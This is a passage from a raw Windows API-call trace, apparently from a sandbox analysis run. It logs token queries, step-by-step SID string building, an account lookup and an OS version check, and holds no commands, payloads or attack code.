returned 1 [0123.904] CloseHandle (hObject=0x270) returned 1 [0123.969] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0123.969] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0123.969] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0123.969] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0124.650] RtlRestoreLastWin32Error () returned 0x670dbf000 [0124.650] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0124.650] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0124.650] RtlRestoreLastWin32Error () returned 0x670dbf000 [0124.650] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0124.650] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0124.651] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0124.651] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0124.651] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0124.651] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0124.657] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0124.658] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0124.658] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0124.658] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0124.658] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0124.661] GetCurrentThread () returned 0xfffffffffffffffe [0124.661] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0124.661] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0124.661] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0124.661] GetLastError () returned 0x7a [0124.661] malloc (_Size=0x2c) returned 0x196ef0d0bd0 [0124.661] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0bd0, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0bd0, ReturnLength=0x67117c740) returned 1 [0124.661] IsValidSid (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0124.662] GetLengthSid (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0124.662] malloc (_Size=0x1c) returned 0x196ef0f9c40 [0124.662] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9c40, pSourceSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9c40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0124.662] GetSidIdentifierAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0be2 [0124.662] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0124.662] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0124.662] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0124.662] malloc (_Size=0x18) returned 0x196ef0d1c20 [0124.662] SysStringLen (param_1="S-1-") returned 0x4 [0124.662] SysStringLen (param_1="5") returned 0x1 [0124.662] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7c7678, _Size=0xa | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0124.662] memcpy (in: _Dst=0x196ee7c75c0, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7c75c0) returned 0x196ee7c75c0 [0124.662] free (_Block=0x196ef0d1ae0) [0124.662] free (_Block=0x196ef0d1ba0) [0124.662] GetSidSubAuthorityCount (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0be1 [0124.662] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0be8 [0124.662] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0124.662] malloc (_Size=0x18) returned 0x196ef0d1de0 [0124.662] malloc (_Size=0x18) returned 0x196ef0d1c60 [0124.662] SysStringLen (param_1="S-1-5") returned 0x5 [0124.662] SysStringLen (param_1="-") returned 0x1 [0124.663] memcpy (in: _Dst=0x196ee7c7078, _Src=0x196ee7c75b8, _Size=0xc | out: _Dst=0x196ee7c7078) returned 0x196ee7c7078 [0124.663] memcpy (in: _Dst=0x196ee7c7082, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7c7082) returned 0x196ee7c7082 [0124.663] free (_Block=0x196ef0d1c20) [0124.663] free (_Block=0x196ef0d1de0) [0124.663] malloc (_Size=0x18) returned 0x196ef0d2080 [0124.663] malloc (_Size=0x18) returned 0x196ef0d1a80 [0124.663] SysStringLen (param_1="S-1-5-") returned 0x6 [0124.663] SysStringLen (param_1="21") returned 0x2 [0124.663] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7c7078, _Size=0xe | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0124.663] memcpy (in: _Dst=0x196ee7c7684, _Src=0x196ee7c75b8, _Size=0x6 | out: _Dst=0x196ee7c7684) returned 0x196ee7c7684 [0124.663] free (_Block=0x196ef0d1c60) [0124.663] free (_Block=0x196ef0d2080) [0124.663] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0bec [0124.663] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0124.663] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0124.663] malloc (_Size=0x18) returned 0x196ef0d1b00 [0124.663] SysStringLen (param_1="S-1-5-21") returned 0x8 [0124.663] SysStringLen (param_1="-") returned 0x1 [0124.663] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7c7678, _Size=0x12 | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0124.663] memcpy (in: _Dst=0x196ee7c75c8, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7c75c8) returned 0x196ee7c75c8 [0124.663] free (_Block=0x196ef0d1a80) [0124.664] free (_Block=0x196ef0d1ae0) [0124.664] malloc (_Size=0x18) returned 0x196ef0d1b40 [0124.664] malloc (_Size=0x18) returned 0x196ef0d1f60 [0124.664] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0124.664] SysStringLen (param_1="1560258661") returned 0xa [0124.664] memcpy (in: _Dst=0x196ee777438, _Src=0x196ee7c75b8, _Size=0x14 | out: _Dst=0x196ee777438) returned 0x196ee777438 [0124.664] memcpy (in: _Dst=0x196ee77744a, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee77744a) returned 0x196ee77744a [0124.664] free (_Block=0x196ef0d1b00) [0124.664] free (_Block=0x196ef0d1b40) [0124.664] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0bf0 [0124.664] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0124.664] malloc (_Size=0x18) returned 0x196ef0d1d40 [0124.664] malloc (_Size=0x18) returned 0x196ef0d1a20 [0124.664] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0124.664] SysStringLen (param_1="-") returned 0x1 [0124.664] memcpy (in: _Dst=0x196ee777078, _Src=0x196ee777438, _Size=0x28 | out: _Dst=0x196ee777078) returned 0x196ee777078 [0124.664] memcpy (in: _Dst=0x196ee77709e, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee77709e) returned 0x196ee77709e [0124.664] free (_Block=0x196ef0d1f60) [0124.664] free (_Block=0x196ef0d1d40) [0124.664] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0124.664] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0124.665] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0124.665] SysStringLen (param_1="3990802383") returned 0xa [0124.665] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee777078, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0124.665] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7c75b8, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0124.665] free (_Block=0x196ef0d1a20) [0124.665] free (_Block=0x196ef0d1ba0) [0124.665] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0bf4 [0124.665] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0124.665] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0124.665] malloc (_Size=0x18) returned 0x196ef0d20e0 [0124.665] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0124.665] SysStringLen (param_1="-") returned 0x1 [0124.665] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0124.665] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0124.665] free (_Block=0x196ef0d1ac0) [0124.665] free (_Block=0x196ef0d1ba0) [0124.665] malloc (_Size=0x18) returned 0x196ef0d1a60 [0124.665] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0124.665] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0124.665] SysStringLen (param_1="1811730007") returned 0xa [0124.666] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0124.666] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7c75b8, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0124.666] free (_Block=0x196ef0d20e0) [0124.666] free (_Block=0x196ef0d1a60) [0124.666] GetSidSubAuthority (pSid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0bf8 [0124.666] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0124.666] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0124.666] malloc (_Size=0x18) returned 0x196ef0d19e0 [0124.666] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0124.666] SysStringLen (param_1="-") returned 0x1 [0124.666] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0124.666] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0124.666] free (_Block=0x196ef0d1ba0) [0124.666] free (_Block=0x196ef0d1bc0) [0124.666] malloc (_Size=0x18) returned 0x196ef0d1d80 [0124.666] malloc (_Size=0x18) returned 0x196ef0d1d00 [0124.666] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0124.666] SysStringLen (param_1="1000") returned 0x4 [0124.666] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0124.666] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7c75b8, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0124.666] free (_Block=0x196ef0d19e0) [0124.667] free (_Block=0x196ef0d1d80) [0124.667] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0124.667] malloc (_Size=0x5e) returned 0x196ef0d0530 [0124.667] free (_Block=0x196ef0d1d00) [0124.667] malloc (_Size=0x18) returned 0x196ef0d1d20 [0124.667] free (_Block=0x196ef0d0530) [0124.667] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0124.672] GetLastError () returned 0x7a [0124.672] malloc (_Size=0x1a) returned 0x196ef0fa0f0 [0124.672] malloc (_Size=0xe) returned 0x196ef0d1a20 [0124.672] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0be0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa0f0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1a20, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0124.673] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0124.673] malloc (_Size=0x18) returned 0x196ef0d1c40 [0124.673] free (_Block=0x196ef0fa0f0) [0124.673] free (_Block=0x196ef0d1a20) [0124.673] free (_Block=0x196ef0f9c40) [0124.673] free (_Block=0x196ef0d1c40) [0124.673] free (_Block=0x196ef0d1ac0) [0124.673] free (_Block=0x196ef0d1d20) [0124.674] free (_Block=0x196ef0d0bd0) [0124.674] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0124.674] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0124.674] GetLastError () returned 0x7a [0124.674] malloc (_Size=0x2c) returned 0x196ef0d0dd0 [0124.674] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0dd0, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0dd0, ReturnLength=0x67117c740) returned 1 [0124.674] IsValidSid (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0124.674] GetLengthSid (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0124.674] malloc (_Size=0x1c) returned 0x196ef0f9ee0 [0124.674] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9ee0, pSourceSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0124.674] GetSidIdentifierAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0de2 [0124.674] malloc (_Size=0x18) returned 0x196ef0d1e60 [0124.674] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0124.674] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0124.674] malloc (_Size=0x18) returned 0x196ef0d1e80 [0124.674] SysStringLen (param_1="S-1-") returned 0x4 [0124.675] SysStringLen (param_1="5") returned 0x1 [0124.675] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7c75b8, _Size=0xa | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0124.675] memcpy (in: _Dst=0x196ee7c7680, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7c7680) returned 0x196ee7c7680 [0124.675] free (_Block=0x196ef0d1e60) [0124.675] free (_Block=0x196ef0d1cc0) [0124.675] GetSidSubAuthorityCount (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0de1 [0124.675] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0de8 [0124.675] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0124.675] malloc (_Size=0x18) returned 0x196ef0d19a0 [0124.675] malloc (_Size=0x18) returned 0x196ef0d1a60 [0124.675] SysStringLen (param_1="S-1-5") returned 0x5 [0124.675] SysStringLen (param_1="-") returned 0x1 [0124.675] memcpy (in: _Dst=0x196ee7c7078, _Src=0x196ee7c7678, _Size=0xc | out: _Dst=0x196ee7c7078) returned 0x196ee7c7078 [0124.675] memcpy (in: _Dst=0x196ee7c7082, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7c7082) returned 0x196ee7c7082 [0124.675] free (_Block=0x196ef0d1e80) [0124.675] free (_Block=0x196ef0d19a0) [0124.675] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0124.675] malloc (_Size=0x18) returned 0x196ef0d1d00 [0124.675] SysStringLen (param_1="S-1-5-") returned 0x6 [0124.675] SysStringLen (param_1="21") returned 0x2 [0124.675] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7c7078, _Size=0xe | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0124.675] memcpy (in: _Dst=0x196ee7c75c4, _Src=0x196ee7c7678, _Size=0x6 | out: _Dst=0x196ee7c75c4) returned 0x196ee7c75c4 [0124.676] free (_Block=0x196ef0d1a60) [0124.676] free (_Block=0x196ef0d1bc0) [0124.676] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0dec [0124.676] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0124.676] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0124.676] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0124.676] SysStringLen (param_1="S-1-5-21") returned 0x8 [0124.676] SysStringLen (param_1="-") returned 0x1 [0124.676] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7c75b8, _Size=0x12 | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0124.676] memcpy (in: _Dst=0x196ee7c7688, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7c7688) returned 0x196ee7c7688 [0124.676] free (_Block=0x196ef0d1d00) [0124.676] free (_Block=0x196ef0d1ec0) [0124.676] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0124.676] malloc (_Size=0x18) returned 0x196ef0d1be0 [0124.676] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0124.676] SysStringLen (param_1="1560258661") returned 0xa [0124.676] memcpy (in: _Dst=0x196ee777438, _Src=0x196ee7c7678, _Size=0x14 | out: _Dst=0x196ee777438) returned 0x196ee777438 [0124.676] memcpy (in: _Dst=0x196ee77744a, _Src=0x196ee7c75b8, _Size=0x16 | out: _Dst=0x196ee77744a) returned 0x196ee77744a [0124.676] free (_Block=0x196ef0d1ba0) [0124.676] free (_Block=0x196ef0d1ac0) [0124.677] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0df0 [0124.677] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0124.677] malloc (_Size=0x18) returned 0x196ef0d1d80 [0124.677] malloc (_Size=0x18) returned 0x196ef0d1f40 [0124.677] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0124.677] SysStringLen (param_1="-") returned 0x1 [0124.677] memcpy (in: _Dst=0x196ee777078, _Src=0x196ee777438, _Size=0x28 | out: _Dst=0x196ee777078) returned 0x196ee777078 [0124.677] memcpy (in: _Dst=0x196ee77709e, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee77709e) returned 0x196ee77709e [0124.677] free (_Block=0x196ef0d1be0) [0124.677] free (_Block=0x196ef0d1d80) [0124.677] malloc (_Size=0x18) returned 0x196ef0d1d80 [0124.677] malloc (_Size=0x18) returned 0x196ef0d2060 [0124.677] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0124.677] SysStringLen (param_1="3990802383") returned 0xa [0124.677] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee777078, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0124.677] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0124.677] free (_Block=0x196ef0d1f40) [0124.677] free (_Block=0x196ef0d1d80) [0124.677] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0df4 [0124.677] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0124.677] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0124.678] malloc (_Size=0x18) returned 0x196ef0d2020 [0124.678] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0124.678] SysStringLen (param_1="-") returned 0x1 [0124.678] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0124.678] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0124.678] free (_Block=0x196ef0d2060) [0124.678] free (_Block=0x196ef0d1ae0) [0124.678] malloc (_Size=0x18) returned 0x196ef0d1d80 [0124.678] malloc (_Size=0x18) returned 0x196ef0d2080 [0124.678] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0124.678] SysStringLen (param_1="1811730007") returned 0xa [0124.678] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0124.678] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0124.678] free (_Block=0x196ef0d2020) [0124.678] free (_Block=0x196ef0d1d80) [0124.678] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0df8 [0124.678] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0124.678] malloc (_Size=0x18) returned 0x196ef0d1ce0 